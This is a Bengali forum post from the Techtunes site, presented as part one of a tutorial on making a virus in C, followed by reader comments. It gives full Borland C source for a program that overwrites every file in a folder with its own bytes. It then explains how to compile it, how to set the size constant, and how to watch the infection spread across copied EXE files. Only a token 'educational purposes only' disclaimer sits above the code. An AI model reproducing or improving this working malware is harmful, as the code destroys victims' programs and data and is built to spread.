প্রোগ্রামিং ল্যাঙ্গুয়েজ “সি” দিয়ে তৈরী করুন ভাইরাস ( পার্ট-০১ )

WARNING: FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD OR MISUSE THIS VIRUS CODE

বিষয়টা ইন্টারয়েস্টিং হলেও অপব্যবহার হতে বিরত থাকুন ।
আর আপনাদের মতামতই আমার চলার পাথেয় । তাই বিনিময়ে আপনার মন্তব্য আশা করছি ।

প্রোগ্রামিং সি এর টিসি ফাইল ওপেন করে নিচের কোডটি টাইপ করুন :

( আপনি ইচ্ছা করলে এটি ডেভেলপও করতে পারেন )

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

# BORLAND TC++ 3.0 (16-BIT) এবং BORLAND C++ 5.5 (32-BIT) এর জন্য :

টাইপ করার পর কম্পাইল করার জন্য Alt-F9 প্রেস করুন । কম্পাইল হয়ে গেলে F9 প্রেস করুন EXE ফাইলকে জেনারেট করার জন্য । আর ইরর দেখালে কোডটি ভালভাবে চেক করুন।

    তবে সাবধান CTRL-F9 প্রেস করবেন না । তাহলে ফাইলটি আপনার পিসিতেই রান হয়ে যাবে।

EXE ফাইলের PROPERTIES এ ক্লিক করে এর সাইজটি বাইটে কনভার্ট করুন । অতঃপর IN THE ABOVE SOURCE CODE x= 89088 এখানে সোর্চ কোডটি পরিবর্তন করে দিন।

পুনরায় কম্পাইল করুন এবং EXE ফাইলটি জেনারেট করুন। ব্যস তৈরী হয়ে . EXE ভাইরাস।

# আপনার তৈরীকৃত ভাইরাসটি এবার টেষ্ট করুনঃ

আপনার পিসিতে একটি নতুন ফোল্ডার খুলুন । এখানে কিছু EXE ফাইল কপি করুন, অথবা .EXE লিখে সার্চ দিন এবং কিছু ফাইল কপি-পেষ্ট করে দিন । এখানে আপনার তৈরীকৃত ভাইরাসের EXE ফাইলটি রান করুন । তাহলে সেই ফ্লোডারের সবগুলো ফাইলই infected হয়ে যাবে । এখন এই সবগুলো ফাইলই ভাইরাস হিসেবে কাজ করবে এবং অন্য সকল EXE ফাইলকে সংক্রামিত করবে।

ধন্যবাদ

Level 0

আমি Mahfuzar Rahman। বিশ্বের সর্ববৃহৎ বিজ্ঞান ও প্রযুক্তির সৌশল নেটওয়ার্ক - টেকটিউনস এ আমি 14 বছর 10 মাস যাবৎ যুক্ত আছি। টেকটিউনস আমি এ পর্যন্ত 31 টি টিউন ও 254 টি টিউমেন্ট করেছি। টেকটিউনসে আমার 0 ফলোয়ার আছে এবং আমি টেকটিউনসে 0 টিউনারকে ফলো করি।

I am moving ....


টিউনস


আরও টিউনস


টিউনারের আরও টিউনস


টিউমেন্টস

YOU KNOW A LOT ABOUT MAKING VIRUS.THANK YOU FOR YOUR POST.

ধন্যবাদ টিউনটি করার জন্য। আমি সি শিখছি তাই একটু বিশ্লেষন করে দেখবো।
আপনি বলেছেনঃ
বিষয়টা ইন্টারয়েস্টিং হলেও অপব্যবহার হতে বিরত থাকুন ।
হাঁ হাঁ হাঁ

    সংবিধিবদ্ধ সতর্কীকরনঃ ” কোন নিরীহ ব্যক্তির কম্পিউটারে প্রয়োগ করার জন্য নহে ”
    বুঝেছেন কিছু…

জট্টিল হৈসে।

ভাল লাগল…কিন্তু প্রোগ্রামটা যে লজিকে কাজ করে সেইটা জানতে পারলে ভাল হত

    এখানে প্রোগ্রামিং সি ইউজ করা হয়েছে তাই লজিক জানতে হলে আপনাকে সি ভালকরে জানতে হবে ।
    আর টিউনের মধ্যে সবগুলো কমান্ড বা লজিকও তুলে ধরা সম্ভব নয় । ধন্যবাদ

ভালো লাগলো… তবে লজিকটা বোঝার চেষ্টা করছি…..

vhai re Virus banaiye tomader ki lab???

ow ! comment na koira parlam na, virus gula ki pc crash korbey?